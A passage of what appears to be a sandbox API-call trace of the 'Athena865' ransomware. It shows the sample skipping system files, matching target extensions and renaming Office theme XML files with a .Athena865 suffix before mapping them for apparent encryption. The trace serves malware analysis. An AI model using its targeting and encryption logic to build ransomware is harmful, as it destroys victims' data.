(lpString="mdb") returned 3 [0136.198] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.198] lstrlenW (lpString="sql") returned 3 [0136.198] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.198] lstrlenW (lpString="sqlite") returned 6 [0136.199] lstrcmpiW (lpString1="te.xml", lpString2="sqlite") returned 1 [0136.199] lstrlenW (lpString="sqlite3") returned 7 [0136.199] lstrcmpiW (lpString1="ite.xml", lpString2="sqlite3") returned -1 [0136.199] lstrlenW (lpString="sqlitedb") returned 8 [0136.199] lstrcmpiW (lpString1="site.xml", lpString2="sqlitedb") returned -1 [0136.199] lstrlenW (lpString="xml") returned 3 [0136.199] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.199] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.Athena865") returned 89 [0136.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.athena865"), dwFlags=0x1) returned 1 [0136.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.206] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=964) returned 1 [0136.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.209] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.211] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.211] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.212] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.215] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.216] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.217] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.217] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.217] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0136.217] lstrcmpiW (lpString1="Concourse.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2=".") returned 1 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2="..") returned 1 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2="windows") returned -1 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2="bootmgr") returned 1 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2="temp") returned -1 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2="pagefile.sys") returned -1 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2="boot") returned 1 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2="ids.txt") returned -1 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2="ntuser.dat") returned -1 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2="perflogs") returned -1 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2="MSBuild") returned -1 [0136.218] lstrlenW (lpString="Concourse.xml") returned 13 [0136.218] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Concourse.xml" | out: lpString1="Concourse.xml") returned="Concourse.xml" [0136.218] lstrlenW (lpString="Concourse.xml") returned 13 [0136.218] lstrlenW (lpString="Athena865") returned 9 [0136.218] lstrcmpiW (lpString1="ourse.xml", lpString2="Athena865") returned 1 [0136.218] lstrlenW (lpString=".dll") returned 4 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2=".dll") returned 1 [0136.218] lstrlenW (lpString=".lnk") returned 4 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2=".lnk") returned 1 [0136.218] lstrlenW (lpString=".ini") returned 4 [0136.218] lstrcmpiW (lpString1="Concourse.xml", lpString2=".ini") returned 1 [0136.218] lstrlenW (lpString=".sys") returned 4 [0136.219] lstrcmpiW (lpString1="Concourse.xml", lpString2=".sys") returned 1 [0136.219] lstrlenW (lpString="Concourse.xml") returned 13 [0136.219] lstrlenW (lpString="bak") returned 3 [0136.219] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.219] lstrlenW (lpString="ba_") returned 3 [0136.219] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.219] lstrlenW (lpString="dbb") returned 3 [0136.219] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.219] lstrlenW (lpString="vmdk") returned 4 [0136.219] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.219] lstrlenW (lpString="rar") returned 3 [0136.219] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.219] lstrlenW (lpString="zip") returned 3 [0136.219] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.219] lstrlenW (lpString="tgz") returned 3 [0136.219] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.219] lstrlenW (lpString="vbox") returned 4 [0136.219] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.219] lstrlenW (lpString="vdi") returned 3 [0136.219] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.219] lstrlenW (lpString="vhd") returned 3 [0136.219] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.219] lstrlenW (lpString="vhdx") returned 4 [0136.219] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.219] lstrlenW (lpString="avhd") returned 4 [0136.219] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.220] lstrlenW (lpString="db") returned 2 [0136.220] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.220] lstrlenW (lpString="db2") returned 3 [0136.220] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.220] lstrlenW (lpString="db3") returned 3 [0136.220] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.220] lstrlenW (lpString="dbf") returned 3 [0136.220] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.220] lstrlenW (lpString="mdf") returned 3 [0136.220] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.220] lstrlenW (lpString="mdb") returned 3 [0136.220] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.220] lstrlenW (lpString="sql") returned 3 [0136.220] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.220] lstrlenW (lpString="sqlite") returned 6 [0136.220] lstrcmpiW (lpString1="se.xml", lpString2="sqlite") returned -1 [0136.220] lstrlenW (lpString="sqlite3") returned 7 [0136.220] lstrcmpiW (lpString1="rse.xml", lpString2="sqlite3") returned -1 [0136.220] lstrlenW (lpString="sqlitedb") returned 8 [0136.220] lstrcmpiW (lpString1="urse.xml", lpString2="sqlitedb") returned 1 [0136.220] lstrlenW (lpString="xml") returned 3 [0136.220] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.220] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.Athena865") returned 89 [0136.220] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.athena865"), dwFlags=0x1) returned 1 [0136.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.222] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=964) returned 1 [0136.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.222] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.223] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.223] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.224] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.225] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.226] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.226] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.226] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.227] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0136.227] lstrcmpiW (lpString1="Couture.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.227] lstrcmpiW (lpString1="Couture.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.227] lstrcmpiW (lpString1="Couture.xml", lpString2=".") returned 1 [0136.227] lstrcmpiW (lpString1="Couture.xml", lpString2="..") returned 1 [0136.227] lstrcmpiW (lpString1="Couture.xml", lpString2="windows") returned -1 [0136.227] lstrcmpiW (lpString1="Couture.xml", lpString2="bootmgr") returned 1 [0136.227] lstrcmpiW (lpString1="Couture.xml", lpString2="temp") returned -1 [0136.227] lstrcmpiW (lpString1="Couture.xml", lpString2="pagefile.sys") returned -1 [0136.227] lstrcmpiW (lpString1="Couture.xml", lpString2="boot") returned 1 [0136.227] lstrcmpiW (lpString1="Couture.xml", lpString2="ids.txt") returned -1 [0136.227] lstrcmpiW (lpString1="Couture.xml", lpString2="ntuser.dat") returned -1 [0136.227] lstrcmpiW (lpString1="Couture.xml", lpString2="perflogs") returned -1 [0136.227] lstrcmpiW (lpString1="Couture.xml", lpString2="MSBuild") returned -1 [0136.227] lstrlenW (lpString="Couture.xml") returned 11 [0136.228] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Couture.xml" | out: lpString1="Couture.xml") returned="Couture.xml" [0136.228] lstrlenW (lpString="Couture.xml") returned 11 [0136.228] lstrlenW (lpString="Athena865") returned 9 [0136.228] lstrcmpiW (lpString1="uture.xml", lpString2="Athena865") returned 1 [0136.228] lstrlenW (lpString=".dll") returned 4 [0136.228] lstrcmpiW (lpString1="Couture.xml", lpString2=".dll") returned 1 [0136.228] lstrlenW (lpString=".lnk") returned 4 [0136.228] lstrcmpiW (lpString1="Couture.xml", lpString2=".lnk") returned 1 [0136.228] lstrlenW (lpString=".ini") returned 4 [0136.228] lstrcmpiW (lpString1="Couture.xml", lpString2=".ini") returned 1 [0136.228] lstrlenW (lpString=".sys") returned 4 [0136.228] lstrcmpiW (lpString1="Couture.xml", lpString2=".sys") returned 1 [0136.228] lstrlenW (lpString="Couture.xml") returned 11 [0136.228] lstrlenW (lpString="bak") returned 3 [0136.228] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.228] lstrlenW (lpString="ba_") returned 3 [0136.228] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.228] lstrlenW (lpString="dbb") returned 3 [0136.228] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.228] lstrlenW (lpString="vmdk") returned 4 [0136.228] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.228] lstrlenW (lpString="rar") returned 3 [0136.228] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.228] lstrlenW (lpString="zip") returned 3 [0136.228] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.229] lstrlenW (lpString="tgz") returned 3 [0136.229] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.229] lstrlenW (lpString="vbox") returned 4 [0136.229] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.229] lstrlenW (lpString="vdi") returned 3 [0136.229] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.229] lstrlenW (lpString="vhd") returned 3 [0136.229] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.229] lstrlenW (lpString="vhdx") returned 4 [0136.229] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.229] lstrlenW (lpString="avhd") returned 4 [0136.229] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.229] lstrlenW (lpString="db") returned 2 [0136.229] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.229] lstrlenW (lpString="db2") returned 3 [0136.229] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.229] lstrlenW (lpString="db3") returned 3 [0136.229] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.229] lstrlenW (lpString="dbf") returned 3 [0136.229] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.229] lstrlenW (lpString="mdf") returned 3 [0136.229] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.229] lstrlenW (lpString="mdb") returned 3 [0136.229] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.229] lstrlenW (lpString="sql") returned 3 [0136.229] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.229] lstrlenW (lpString="sqlite") returned 6 [0136.230] lstrcmpiW (lpString1="re.xml", lpString2="sqlite") returned -1 [0136.230] lstrlenW (lpString="sqlite3") returned 7 [0136.230] lstrcmpiW (lpString1="ure.xml", lpString2="sqlite3") returned 1 [0136.230] lstrlenW (lpString="sqlitedb") returned 8 [0136.230] lstrcmpiW (lpString1="ture.xml", lpString2="sqlitedb") returned 1 [0136.230] lstrlenW (lpString="xml") returned 3 [0136.230] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.230] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.Athena865") returned 87 [0136.230] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.athena865"), dwFlags=0x1) returned 1 [0136.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.234] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=962) returned 1 [0136.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.235] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.235] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.235] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.236] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.238] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.238] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.239] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.239] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.239] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.240] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2=".") returned 1 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2="..") returned 1 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2="windows") returned -1 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2="bootmgr") returned 1 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2="temp") returned -1 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2="pagefile.sys") returned -1 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2="boot") returned 1 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2="ids.txt") returned -1 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2="ntuser.dat") returned -1 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2="perflogs") returned -1 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2="MSBuild") returned -1 [0136.240] lstrlenW (lpString="Elemental.xml") returned 13 [0136.240] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Elemental.xml" | out: lpString1="Elemental.xml") returned="Elemental.xml" [0136.240] lstrlenW (lpString="Elemental.xml") returned 13 [0136.240] lstrlenW (lpString="Athena865") returned 9 [0136.240] lstrcmpiW (lpString1="ental.xml", lpString2="Athena865") returned 1 [0136.240] lstrlenW (lpString=".dll") returned 4 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2=".dll") returned 1 [0136.240] lstrlenW (lpString=".lnk") returned 4 [0136.240] lstrcmpiW (lpString1="Elemental.xml", lpString2=".lnk") returned 1 [0136.241] lstrlenW (lpString=".ini") returned 4 [0136.241] lstrcmpiW (lpString1="Elemental.xml", lpString2=".ini") returned 1 [0136.241] lstrlenW (lpString=".sys") returned 4 [0136.241] lstrcmpiW (lpString1="Elemental.xml", lpString2=".sys") returned 1 [0136.241] lstrlenW (lpString="Elemental.xml") returned 13 [0136.241] lstrlenW (lpString="bak") returned 3 [0136.241] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.241] lstrlenW (lpString="ba_") returned 3 [0136.241] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.241] lstrlenW (lpString="dbb") returned 3 [0136.241] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.241] lstrlenW (lpString="vmdk") returned 4 [0136.241] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.241] lstrlenW (lpString="rar") returned 3 [0136.241] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.241] lstrlenW (lpString="zip") returned 3 [0136.241] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.241] lstrlenW (lpString="tgz") returned 3 [0136.241] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.241] lstrlenW (lpString="vbox") returned 4 [0136.241] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.241] lstrlenW (lpString="vdi") returned 3 [0136.241] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.241] lstrlenW (lpString="vhd") returned 3 [0136.241] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.241] lstrlenW (lpString="vhdx") returned 4 [0136.242] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.242] lstrlenW (lpString="avhd") returned 4 [0136.242] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.242] lstrlenW (lpString="db") returned 2 [0136.242] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.242] lstrlenW (lpString="db2") returned 3 [0136.242] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.242] lstrlenW (lpString="db3") returned 3 [0136.242] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.242] lstrlenW (lpString="dbf") returned 3 [0136.242] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.242] lstrlenW (lpString="mdf") returned 3 [0136.242] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.242] lstrlenW (lpString="mdb") returned 3 [0136.242] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.242] lstrlenW (lpString="sql") returned 3 [0136.242] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.242] lstrlenW (lpString="sqlite") returned 6 [0136.242] lstrcmpiW (lpString1="al.xml", lpString2="sqlite") returned -1 [0136.242] lstrlenW (lpString="sqlite3") returned 7 [0136.242] lstrcmpiW (lpString1="tal.xml", lpString2="sqlite3") returned 1 [0136.242] lstrlenW (lpString="sqlitedb") returned 8 [0136.242] lstrcmpiW (lpString1="ntal.xml", lpString2="sqlitedb") returned -1 [0136.242] lstrlenW (lpString="xml") returned 3 [0136.242] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.242] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.Athena865") returned 89 [0136.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.athena865"), dwFlags=0x1) returned 1 [0136.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.247] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=964) returned 1 [0136.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.247] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.248] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.248] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.248] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.249] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.250] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.251] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.251] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.252] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, 